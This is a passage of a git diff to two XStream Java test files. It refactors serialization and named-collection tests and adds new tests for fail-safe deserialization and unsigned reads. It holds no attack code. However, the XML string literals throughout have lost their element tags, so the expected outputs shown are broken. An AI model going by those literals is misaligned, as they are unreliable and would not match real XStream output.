a/xstream/src/test/com/thoughtworks/acceptance/MultipleObjectsInOneStreamTest.java b/xstream/src/test/com/thoughtworks/acceptance/MultipleObjectsInOneStreamTest.java index 902d9a411..1d389151b 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/MultipleObjectsInOneStreamTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/MultipleObjectsInOneStreamTest.java @@ -1,30 +1,16 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2018, 2019, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 09. December 2005 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.acceptance.objects.StandardObject; -import com.thoughtworks.xstream.MarshallingStrategy; -import com.thoughtworks.xstream.converters.ConverterLookup; -import com.thoughtworks.xstream.converters.DataHolder; -import com.thoughtworks.xstream.core.ReferenceByIdMarshaller; -import com.thoughtworks.xstream.core.ReferenceByIdUnmarshaller; -import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; -import com.thoughtworks.xstream.io.xml.XppReader; -import com.thoughtworks.xstream.mapper.Mapper; -import com.thoughtworks.xstream.testutil.CallLog; - import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.EOFException; @@ -42,16 +28,34 @@ import java.util.zip.Inflater; import java.util.zip.InflaterInputStream; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.MarshallingStrategy; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.converters.ConverterLookup; +import com.thoughtworks.xstream.converters.DataHolder; +import com.thoughtworks.xstream.core.ReferenceByIdMarshaller; +import com.thoughtworks.xstream.core.ReferenceByIdUnmarshaller; +import com.thoughtworks.xstream.core.util.DefaultDriver; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; +import com.thoughtworks.xstream.mapper.Mapper; +import com.thoughtworks.xstream.testutil.CallLog; + public class MultipleObjectsInOneStreamTest extends AbstractAcceptanceTest { public static class Person extends StandardObject { - - private String firstName; - private String lastName; + private static final long serialVersionUID = 200412L; + @SuppressWarnings("unused") + private final String firstName; + @SuppressWarnings("unused") + private final String lastName; private Person secretary; - public Person(String firstName, String lastName) { + public Person(final String firstName, final String lastName) { this.firstName = firstName; this.lastName = lastName; } @@ -60,15 +64,16 @@ public Person(String firstName, String lastName) { public void testReadAndWriteMultipleObjectsInOneStream() { xstream.alias("person", Person.class); - StringWriter buffer = new StringWriter(); + final StringWriter buffer = new StringWriter(); // serialize - HierarchicalStreamWriter writer = new PrettyPrintWriter(buffer); + final HierarchicalStreamWriter writer = new PrettyPrintWriter(buffer); writer.startNode("people"); xstream.marshal(new Person("Postman", "Pat"), writer); xstream.marshal(new Person("Bob", "Builder"), writer); xstream.marshal(new Person("Tinky", "Winky"), writer); writer.endNode(); + writer.close(); assertEquals("" + "\n" @@ -87,7 +92,9 @@ public void testReadAndWriteMultipleObjectsInOneStream() { + "", buffer.toString()); // deserialize - HierarchicalStreamReader reader = new XppReader(new StringReader(buffer.toString())); + final HierarchicalStreamReader reader = DefaultDriver + .create() + .createReader(new StringReader(buffer.toString())); assertTrue("should be another object to read (1)", reader.hasMoreChildren()); reader.moveDown(); @@ -105,19 +112,21 @@ public void testReadAndWriteMultipleObjectsInOneStream() { reader.moveUp(); assertFalse("should be no more objects", reader.hasMoreChildren()); + reader.close(); } public void testDrivenThroughObjectStream() throws IOException, ClassNotFoundException { - Writer writer = new StringWriter(); + final Writer writer = new StringWriter(); xstream.alias("software", Software.class); - ObjectOutputStream oos = xstream.createObjectOutputStream(writer); + final ObjectOutputStream oos = xstream.createObjectOutputStream(writer); oos.writeInt(123); oos.writeObject("hello"); oos.writeObject(new Software("tw", "xs")); + oos.writeObject(null); oos.close(); - String expectedXml = "" + final String expectedXml = "" + "\n" + " 123\n" + " hello\n" @@ -125,82 +134,126 @@ public void testDrivenThroughObjectStream() throws IOException, ClassNotFoundExc + " tw\n" + " xs\n" + " \n" + + " \n" + ""; assertEquals(expectedXml, writer.toString()); - ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(writer - .toString())); + final ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(writer.toString())); assertEquals(123, ois.readInt()); assertEquals("hello", ois.readObject()); assertEquals(new Software("tw", "xs"), ois.readObject()); + assertNull(ois.readObject()); try { ois.readObject(); // As far as I can see this is the only clue the - // ObjectInputStream gives that it's done. + // ObjectInputStream gives that it's done. fail("Expected EOFException"); - } catch (EOFException expectedException) { + } catch (final EOFException expectedException) { // good } + + ois.close(); } - public void testDrivenThroughCompressedObjectStream() - throws IOException, ClassNotFoundException { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - Writer writer = new OutputStreamWriter(new DeflaterOutputStream(baos, new Deflater( + public void testDrivenThroughCompressedObjectStream() throws IOException, ClassNotFoundException { + final ByteArrayOutputStream baos = new ByteArrayOutputStream(); + final Writer writer = new OutputStreamWriter(new DeflaterOutputStream(baos, new Deflater( Deflater.BEST_COMPRESSION)), "UTF-8"); xstream.alias("software", Software.class); - ObjectOutputStream oos = xstream.createObjectOutputStream(writer); + final ObjectOutputStream oos = xstream.createObjectOutputStream(writer); oos.writeInt(123); oos.writeObject("hello"); oos.writeObject(new Software("tw", "xs")); oos.flush(); oos.close(); - byte[] data = baos.toByteArray(); + final byte[] data = baos.toByteArray(); assertTrue("Too less data: " + data.length, data.length > 2); - ObjectInputStream ois = xstream.createObjectInputStream(new InputStreamReader( - new InflaterInputStream(new ByteArrayInputStream(data), new Inflater()), "UTF-8")); + final ObjectInputStream ois = xstream + .createObjectInputStream(new InputStreamReader(new InflaterInputStream(new ByteArrayInputStream(data), + new Inflater()), "UTF-8")); assertEquals(123, ois.readInt()); assertEquals("hello", ois.readObject()); assertEquals(new Software("tw", "xs"), ois.readObject()); try { ois.readObject(); // As far as I can see this is the only clue the - // ObjectInputStream gives that it's done. + // ObjectInputStream gives that it's done. fail("Expected EOFException"); - } catch (EOFException expectedException) { + } catch (final EOFException expectedException) { // good } + + ois.close(); + } + + public void testFailSafeDeserialization() throws IOException, ClassNotFoundException { + final String xml = "" + + "\n" + + " top\n" + + " \n" + + " first\n" + + " \n" + + " 1\n" + + " invalid\n" // deserialization will fail here + + " 3\n" + + " \n" + + " last\n" + + " \n" + + " bottom\n" + + ""; + + @SuppressWarnings("resource") + final HierarchicalStreamReader reader = DefaultDriver.create().createReader(new StringReader(xml)); + final ObjectInputStream ois = xstream.createObjectInputStream(reader); + final int level = reader.getLevel(); + assertEquals(1, level); + assertEquals("top", ois.readObject()); + try { + ois.readObject(); + fail("Thrown " + ConversionException.class.getName() + " expected"); + } catch (final ConversionException e) { + assertEquals(4, reader.getLevel()); + do { + reader.moveUp(); + } while (level != reader.getLevel()); + } + assertEquals("bottom", ois.readObject()); + ois.close(); } public void testObjectOutputStreamPropagatesCloseAndFlushEvents() throws IOException { // setup final CallLog log = new CallLog(); - Writer loggingWriter = new Writer() { + @SuppressWarnings("resource") + final Writer loggingWriter = new Writer() { + @Override public void close() { log.actual("close"); } + @Override public void flush() { log.actual("flush"); } - public void write(char cbuf[], int off, int len) { + @Override + public void write(final char cbuf[], final int off, final int len) { // don't care about this } }; // expectations log.expect("flush"); // TWO flushes are currently caused. Only one is needed, but - // this is no big deal. + // this is no big deal. log.expect("flush"); log.expect("close"); // execute - ObjectOutputStream objectOutputStream = xstream.createObjectOutputStream(loggingWriter); + final ObjectOutputStream objectOutputStream = xstream.createObjectOutputStream(loggingWriter); objectOutputStream.flush(); objectOutputStream.close(); @@ -208,10 +261,11 @@ public void write(char cbuf[], int off, int len) { log.verify(); } - public void testObjectInputStreamPropegatesCloseEvent() throws IOException { + public void testObjectInputStreamPropagatesCloseEvent() throws IOException { // setup final CallLog log = new CallLog(); - Reader loggingReader = new StringReader("1") { + final Reader loggingReader = new StringReader("1") { + @Override public void close() { log.actual("close"); } @@ -221,15 +275,50 @@ public void close() { log.expect("close"); // execute - ObjectInputStream objectInputStream = xstream.createObjectInputStream(loggingReader); + final ObjectInputStream objectInputStream = xstream.createObjectInputStream(loggingReader); objectInputStream.close(); // verify log.verify(); } - public void testByDefaultDoesNotPreserveReferencesAcrossDifferentObjectsInStream() - throws Exception { + public void testCanFilterProcessedChildren() throws Exception { + final String xml = "" // + + "\n" + + " 5\n" + + " Huey\n" + + " gouda\n" + + " Dewey\n" + + " Louie\n" + + " true\n" + + ""; + + xstream = new XStream(createDriver()) { + @Override + public T unmarshal(final HierarchicalStreamReader reader, final T root, final DataHolder dataHolder) { + return "string".equals(reader.getNodeName()) ? super.unmarshal(reader, root, dataHolder) : null; + }; + }; + setupSecurity(xstream); + + try (final ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(xml))) { + assertNull(ois.readObject()); + assertEquals("Huey", ois.readObject()); + assertNull(ois.readObject()); + assertEquals("Dewey", ois.readObject()); + assertEquals("Louie", ois.readObject()); + assertNull(ois.readObject()); + + try { + ois.readObject(); + fail("Expected EOFException"); + } catch (final EOFException expectedException) { + // good + } + } + } + + public void testByDefaultDoesNotPreserveReferencesAcrossDifferentObjectsInStream() throws Exception { xstream.alias("person", Person.class); // Setup initial data: two object, one referencing another... @@ -238,15 +327,14 @@ public void testByDefaultDoesNotPreserveReferencesAcrossDifferentObjectsInStream jane.secretary = alice; // Serialize the two individual objects. - StringWriter writer = new StringWriter(); - ObjectOutputStream out = xstream.createObjectOutputStream(writer); + final StringWriter writer = new StringWriter(); + final ObjectOutputStream out = xstream.createObjectOutputStream(writer); out.writeObject(alice); out.writeObject(jane); out.close(); // Deserialize the two objects. - ObjectInputStream in = xstream.createObjectInputStream(new StringReader(writer - .toString())); + final ObjectInputStream in = xstream.createObjectInputStream(new StringReader(writer.toString())); alice = (Person)in.readObject(); jane = (Person)in.readObject(); in.close(); @@ -259,26 +347,26 @@ static class ReusingReferenceByIdMarshallingStrategy implements MarshallingStrat private ReferenceByIdMarshaller marshaller; private ReferenceByIdUnmarshaller unmarshaller; - public void marshal(HierarchicalStreamWriter writer, Object obj, - ConverterLookup converterLookup, Mapper mapper, DataHolder dataHolder) { + @Override + public void marshal(final HierarchicalStreamWriter writer, final Object obj, + final ConverterLookup converterLookup, final Mapper mapper, final DataHolder dataHolder) { if (marshaller == null) { marshaller = new ReferenceByIdMarshaller(writer, converterLookup, mapper); } marshaller.start(obj, dataHolder); } - public Object unmarshal(Object root, HierarchicalStreamReader reader, - DataHolder dataHolder, ConverterLookup converterLookup, Mapper mapper) { + @Override + public Object unmarshal(final Object root, final HierarchicalStreamReader reader, final DataHolder dataHolder, + final ConverterLookup converterLookup, final Mapper mapper) { if (unmarshaller == null) { - unmarshaller = new ReferenceByIdUnmarshaller( - root, reader, converterLookup, mapper); + unmarshaller = new ReferenceByIdUnmarshaller(root, reader, converterLookup, mapper); } return unmarshaller.start(dataHolder); } } - public void testSupportsOptionToPreserveReferencesAcrossDifferentObjectsInStream() - throws Exception { + public void testSupportsOptionToPreserveReferencesAcrossDifferentObjectsInStream() throws Exception { xstream.alias("person", Person.class); xstream.setMarshallingStrategy(new ReusingReferenceByIdMarshallingStrategy()); @@ -288,19 +376,52 @@ public void testSupportsOptionToPreserveReferencesAcrossDifferentObjectsInStream jane.secretary = alice; // Serialize the two individual objects. - StringWriter writer = new StringWriter(); - ObjectOutputStream out = xstream.createObjectOutputStream(writer); + final StringWriter writer = new StringWriter(); + final ObjectOutputStream out = xstream.createObjectOutputStream(writer); out.writeObject(alice); out.writeObject(jane); out.close(); // Deserialize the two objects. - ObjectInputStream in = xstream.createObjectInputStream(new StringReader(writer - .toString())); + final ObjectInputStream in = xstream.createObjectInputStream(new StringReader(writer.toString())); alice = (Person)in.readObject(); jane = (Person)in.readObject(); in.close(); assertSame(alice, jane.secretary); } + + public void testReadUnsignedValuesFromInputStream() throws IOException { + final Writer writer = new StringWriter(); + final ObjectOutputStream oos = xstream.createObjectOutputStream(writer); + oos.writeByte(1); + oos.writeByte(-1); + oos.writeByte(Byte.MIN_VALUE); + oos.writeShort(1); + oos.writeShort(-1); + oos.writeShort(Short.MIN_VALUE); + oos.close(); + + final String expectedXml = "" + + "\n" + + " 1\n" + + " -1\n" + + " -128\n" + + " 1\n" + + " -1\n" + + " -32768\n" + + ""; + + assertEquals(expectedXml, writer.toString()); + + final ObjectInputStream ois = xstream.createObjectInputStream(new StringReader(writer.toString())); + assertEquals(1, ois.readUnsignedByte()); + assertEquals(255, ois.readUnsignedByte()); + assertEquals(128, ois.readUnsignedByte()); + assertEquals(1, ois.readUnsignedShort()); + assertEquals(65535, ois.readUnsignedShort()); + assertEquals(32768, ois.readUnsignedShort()); + + ois.close(); + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/NamedLocalElementsTest.java b/xstream/src/test/com/thoughtworks/acceptance/NamedLocalElementsTest.java index 322bf9c79..f9e6ccef9 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/NamedLocalElementsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/NamedLocalElementsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2016 XStream Committers. + * Copyright (C) 2013, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -25,13 +25,15 @@ import com.thoughtworks.xstream.converters.extended.NamedCollectionConverter; import com.thoughtworks.xstream.converters.extended.NamedMapConverter; + /** * Tests named elements of collections and maps. - * + * * @author Jörg Schaible */ public class NamedLocalElementsTest extends AbstractAcceptanceTest { - + + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("category", Category.class); @@ -42,16 +44,16 @@ protected void setUp() throws Exception { } public void testListElementsWithFinalType() { - xstream.registerLocalConverter(Category.class, "products", - new NamedCollectionConverter(xstream.getMapper(), "product", String.class)); - - List products = new ArrayList(); + xstream.registerLocalConverter(Category.class, "products", new NamedCollectionConverter(xstream.getMapper(), + "product", String.class)); + + final List products = new ArrayList<>(); products.add("SiteMesh"); products.add("XStream"); - Category category = new Category("Joe Walnes", "joe"); + final Category category = new Category<>("Joe Walnes", "joe"); category.setProducts(products); - - String expected = "" + + final String expected = "" + "\n" + " Joe Walnes\n" + " joe\n" @@ -60,21 +62,21 @@ public void testListElementsWithFinalType() { + " XStream\n" + " \n" + ""; - + assertBothWays(category, expected); } public void testListElementsWithSuperTypes() { - xstream.registerLocalConverter(Category.class, "products", - new NamedCollectionConverter(xstream.getMapper(), "product", Object.class)); - - List products = new ArrayList(); + xstream.registerLocalConverter(Category.class, "products", new NamedCollectionConverter(xstream.getMapper(), + "product", Object.class)); + + final List products = new ArrayList<>(); products.add("SiteMesh"); products.add(new StringBuffer("XStream")); - Category category = new Category("Joe Walnes", "joe"); + final Category category = new Category<>("Joe Walnes", "joe"); category.setProducts(products); - - String expected = ("" + + final String expected = ("" + "\n" + " Joe Walnes\n" + " joe\n" @@ -83,46 +85,46 @@ public void testListElementsWithSuperTypes() { + " XStream\n" + " \n" + "").replace('\'', '"'); - + assertBothWays(category, expected); } public void testListWithNullElements() { - xstream.registerLocalConverter(Category.class, "products", - new NamedCollectionConverter(xstream.getMapper(), "product", String.class)); - - List products = new ArrayList(); + xstream.registerLocalConverter(Category.class, "products", new NamedCollectionConverter(xstream.getMapper(), + "product", String.class)); + + final List products = new ArrayList<>(); products.add("SiteMesh"); products.add(null); products.add("XStream"); - Category category = new Category("Joe Walnes", "joe"); + final Category category = new Category<>("Joe Walnes", "joe"); category.setProducts(products); - - String expected = ("" - + "\n" - + " Joe Walnes\n" - + " joe\n" - + " \n" - + " SiteMesh\n" - + " \n" - + " XStream\n" - + " \n" - + "").replace('\'', '"'); - + + final String expected = ("" + + "\n" + + " Joe Walnes\n" + + " joe\n" + + " \n" + + " SiteMesh\n" + + " \n" + + " XStream\n" + + " \n" + + "").replace('\'', '"'); + assertBothWays(category, expected); } public void testMapElementsWithFinalType() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), "product", "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -135,21 +137,21 @@ public void testMapElementsWithFinalType() { + " \n" + " \n" + ""; - + assertBothWays(maps, expected); } public void testMapElementsWithSuperType() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), "product", "name", Object.class, "price", Number.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", Object.class, "price", Number.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", new Integer(42)); maps.good.put(new StringBuffer("XStream"), new Double(42)); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " \n" @@ -162,48 +164,48 @@ public void testMapElementsWithSuperType() { + " \n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } public void testMapWithNullElements() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), "product", "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put(null, "com.opensymphony"); maps.good.put("XStream", null); - - String expected = ("" - + "\n" - + " \n" - + " \n" - + " \n" - + " com.opensymphony\n" - + " \n" - + " \n" - + " XStream\n" - + " \n" - + " \n" - + " \n" - + "").replace('\'', '"'); - + + final String expected = ("" + + "\n" + + " \n" + + " \n" + + " \n" + + " com.opensymphony\n" + + " \n" + + " \n" + + " XStream\n" + + " \n" + + " \n" + + " \n" + + "").replace('\'', '"'); + assertBothWays(maps, expected); } public void testMapWithSwappedKeyAndValueElements() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), "product", "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String xml = "" + + final String xml = "" + "\n" + " \n" + " \n" @@ -216,21 +218,21 @@ public void testMapWithSwappedKeyAndValueElements() { + " \n" + " \n" + ""; - + assertEquals(maps, xstream.fromXML(xml)); } public void testMapElementsUsingSameNames() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), "test", "test", String.class, "test", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "test", + "test", String.class, "test", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -243,21 +245,21 @@ public void testMapElementsUsingSameNames() { + " \n" + " \n" + ""; - + assertBothWays(maps, expected); } public void testMapElementsWithoutEntry() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), null, "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), null, + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " SiteMesh\n" @@ -266,44 +268,44 @@ public void testMapElementsWithoutEntry() { + " com.thoughtworks\n" + " \n" + ""; - + assertBothWays(maps, expected); } public void testMapWithNullElementsWithoutEntry() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), null, "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), null, + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put(null, "com.opensymphony"); maps.good.put("XStream", null); - - String expected = ("" - + "\n" - + " \n" - + " \n" - + " com.opensymphony\n" - + " XStream\n" - + " \n" - + " \n" - + "").replace('\'', '"'); - + + final String expected = ("" + + "\n" + + " \n" + + " \n" + + " com.opensymphony\n" + + " XStream\n" + + " \n" + + " \n" + + "").replace('\'', '"'); + assertBothWays(maps, expected); } public void testMapWithSwappedKeyAndValueElementsWithoutEntry() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), null, "name", String.class, "domain", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), null, + "name", String.class, "domain", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String xml = "" + + final String xml = "" + "\n" + " \n" + " com.opensymphony\n" @@ -312,21 +314,21 @@ public void testMapWithSwappedKeyAndValueElementsWithoutEntry() { + " com.thoughtworks\n" + " \n" + ""; - + assertEquals(maps, xstream.fromXML(xml)); } public void testMapElementsUsingSameNamesWithoutEntry() { - xstream.registerLocalConverter(SampleMaps.class, "good", - new NamedMapConverter(xstream.getMapper(), null, "test", String.class, "test", String.class)); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), null, + "test", String.class, "test", String.class)); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " SiteMesh\n" @@ -335,96 +337,88 @@ public void testMapElementsUsingSameNamesWithoutEntry() { + " com.thoughtworks\n" + " \n" + ""; - + assertBothWays(maps, expected); } public void testMapElementsUsingAttributesOnly() { - xstream.registerLocalConverter( - SampleMaps.class, "good", new NamedMapConverter( - xstream.getMapper(), "product", "name", String.class, "domain", String.class, - true, true, xstream.getConverterLookup())); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class, true, true, xstream.getConverterLookup())); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " \n" + " \n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } public void testMapElementsWithNullUsingAttributesOnly() { - xstream.registerLocalConverter( - SampleMaps.class, "good", new NamedMapConverter( - xstream.getMapper(), "product", "name", String.class, "domain", String.class, - true, true, xstream.getConverterLookup())); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class, true, true, xstream.getConverterLookup())); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put(null, "com.opensymphony"); maps.good.put("XStream", null); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " \n" + " \n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } public void testMapElementsUsingAttributeAndText() { - xstream.registerLocalConverter( - SampleMaps.class, "good", new NamedMapConverter( - xstream.getMapper(), "product", "name", String.class, null, Date.class, - true, false, xstream.getConverterLookup())); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, null, Date.class, true, false, xstream.getConverterLookup())); - Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC"), Locale.GERMANY); + final Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC"), Locale.GERMANY); cal.clear(); cal.set(2016, Calendar.FEBRUARY, 8, 20, 11, 10); - SampleMaps maps = new SampleMaps(); + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", cal.getTime()); cal.add(Calendar.DAY_OF_MONTH, 1); maps.good.put("XStream", cal.getTime()); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " 2016-02-08 20:11:10.0 UTC\n" + " 2016-02-09 20:11:10.0 UTC\n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } public void testMapElementsUsingAttributeForKeyOnly() { - xstream.registerLocalConverter( - SampleMaps.class, "good", new NamedMapConverter( - xstream.getMapper(), "product", "name", String.class, "domain", String.class, - true, false, xstream.getConverterLookup())); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class, true, false, xstream.getConverterLookup())); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " \n" @@ -435,23 +429,21 @@ public void testMapElementsUsingAttributeForKeyOnly() { + " \n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } public void testMapElementsUsingAttributeForValueOnly() { - xstream.registerLocalConverter( - SampleMaps.class, "good", new NamedMapConverter( - xstream.getMapper(), "product", "name", String.class, "domain", String.class, - false, true, xstream.getConverterLookup())); - - SampleMaps maps = new SampleMaps(); + xstream.registerLocalConverter(SampleMaps.class, "good", new NamedMapConverter(xstream.getMapper(), "product", + "name", String.class, "domain", String.class, false, true, xstream.getConverterLookup())); + + final SampleMaps maps = new SampleMaps<>(); maps.bad = null; - maps.good = new LinkedHashMap(); + maps.good = new LinkedHashMap<>(); maps.good.put("SiteMesh", "com.opensymphony"); maps.good.put("XStream", "com.thoughtworks"); - - String expected = ("" + + final String expected = ("" + "\n" + " \n" + " \n" @@ -462,10 +454,10 @@ public void testMapElementsUsingAttributeForValueOnly() { + " \n" + " \n" + "").replace('\'', '"'); - + assertBothWays(maps, expected); } - + public void testInvalidMapConfiguration() { test(null, "key", "value", true, true); test(null, "key", "value", false, true); @@ -477,55 +469,51 @@ public void testInvalidMapConfiguration() { test("entry", null, "value", true, false); test("entry", "foo", "foo", true, true); } - - private void test(String entry, String key, String value, boolean keyAttr, boolean valueAttr) { + + private void test(final String entry, final String key, final String value, final boolean keyAttr, + final boolean valueAttr) { try { - new NamedMapConverter( - xstream.getMapper(), entry, key, String.class, value, String.class, keyAttr, + new NamedMapConverter(xstream.getMapper(), entry, key, String.class, value, String.class, keyAttr, valueAttr, xstream.getConverterLookup()); fail("Thrown " + IllegalArgumentException.class.getName() + " expected"); } catch (final IllegalArgumentException e) { // OK } } - + public static class Arrays { String[] strings; Object[] objects; int[] ints; short[][] shortArrays; } - + public void testArrayWithFinalType() { - xstream.registerLocalConverter(Arrays.class, "strings", - new NamedArrayConverter(String[].class, xstream.getMapper(), "name")); - - Arrays arrays = new Arrays(); - arrays.strings = new String[] { - "joe", "mauro" - }; - - String expected = "" + xstream.registerLocalConverter(Arrays.class, "strings", new NamedArrayConverter(String[].class, xstream + .getMapper(), "name")); + + final Arrays arrays = new Arrays(); + arrays.strings = new String[]{"joe", "mauro"}; + + final String expected = "" + "\n" + " \n" + " joe\n" + " mauro\n" + " \n" + ""; - + assertBothWays(arrays, expected); } - + public void testArrayWithSuperTypes() { - xstream.registerLocalConverter(Arrays.class, "objects", - new NamedArrayConverter(Object[].class, xstream.getMapper(), "item")); - - Arrays arrays = new Arrays(); - arrays.objects = new Object[] { - "joe", Boolean.TRUE, Integer.valueOf(47) - }; - - String expected = ("" + xstream.registerLocalConverter(Arrays.class, "objects", new NamedArrayConverter(Object[].class, 